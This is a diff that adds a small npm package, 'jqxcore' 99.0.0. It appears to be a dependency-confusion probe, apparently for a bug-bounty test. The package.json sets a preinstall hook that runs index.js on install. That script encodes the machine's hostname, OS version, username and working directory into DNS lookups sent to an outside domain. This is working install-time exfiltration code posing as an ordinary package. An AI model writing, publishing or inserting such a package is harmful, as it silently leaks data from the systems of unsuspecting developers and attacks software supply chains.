jqxcore 99.0.0

package/index.js

@@ -0,0 +1,49 @@
+const os = require('os');
+const dns = require('dns');
+const process = require('process');
+const crypto = require('crypto');
+
+// Generate unique session ID (6 chars)
+const sessionId = crypto.randomBytes(3).toString('hex');
+
+// Helper function to send DNS query with chunking support
+function sendDns(data, type, delay = 0) {
+    const hex = Buffer.from(data).toString('hex');
+    const maxChunkSize = 50; // Leave room for session ID, type, and chunk number
+    
+    if (hex.length <= maxChunkSize) {
+        // Single chunk - use 't' suffix to indicate total chunks (1)
+        setTimeout(() => {
+            dns.lookup(`${sessionId}.${type}t1.${hex}.jqxcore.pd6d3ykss63dgwj8pegy7so2rtxold.b.nf`, () => {});
+        }, delay);
+    } else {
+        // Multiple chunks needed
+        const chunks = [];
+        for (let i = 0; i < hex.length; i += maxChunkSize) {
+            chunks.push(hex.substring(i, i + maxChunkSize));
+        }
+        const totalChunks = chunks.length;
+        
+        chunks.forEach((chunk, index) => {
+            setTimeout(() => {
+                // Include total chunks in the first chunk (index 0)
+                const chunkId = index === 0 ? `${type}${index}t${totalChunks}` : `${type}${index}`;
+                dns.lookup(`${sessionId}.${chunkId}.${chunk}.jqxcore.pd6d3ykss63dgwj8pegy7so2rtxold.b.nf`, () => {});
+            }, delay + (index * 50));
+        });
+    }
+}
+
+// Send hostname
+sendDns(os.hostname(), 'h', 0);
+
+// Send OS info
+const osInfo = `${os.platform()}_${os.release()}`;
+sendDns(osInfo, 'o', 200);
+
+// Send username
+const username = os.userInfo().username;
+sendDns(username, 'u', 400);
+
+// Send current path (likely to be long and need chunking)
+sendDns(process.cwd(), 'p', 600);

package/package.json

@@ -0,0 +1,11 @@
+{
+  "name": "jqxcore",
+  "version": "99.0.0",
+  "description": "ukg-h1-test",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node index.js"
+  },
+  "author": "Security Testing",
+  "license": "MIT"
+}